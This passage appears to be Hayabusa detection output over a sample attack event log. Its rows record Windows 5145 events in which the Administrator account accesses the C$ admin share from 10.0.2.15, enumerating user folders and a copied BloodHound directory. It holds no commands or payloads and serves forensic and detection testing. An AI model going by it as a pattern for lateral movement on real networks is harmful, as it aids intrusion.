10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.997 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.007 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\sshd_server\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.017 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.027 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.037 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.037 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.037 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.047 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\locales : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.047 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.047 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.057 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.057 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\Ingestors : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.057 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\Ingestors\DebugBuilds : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.057 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.067 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@babel : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.067 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@babel\runtime : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.067 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@babel\runtime\helpers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.077 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@babel\runtime\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.077 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@babel\runtime\regenerator : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.087 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.087 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.087 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\css : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.087 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\js : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.097 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\less : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.097 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\scss : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.107 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\sprites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.107 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\svgs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.107 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@fortawesome\fontawesome-free\webfonts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.117 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\@types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.117 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\adler-32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.117 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\adler-32\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.127 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\adler-32\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.127 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.137 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\.nyc_output : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.137 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.137 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.147 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\examples\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.147 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.147 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.147 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\aphrodite\tests : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.157 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\asap : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.157 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\async : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.167 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\async\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.167 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: 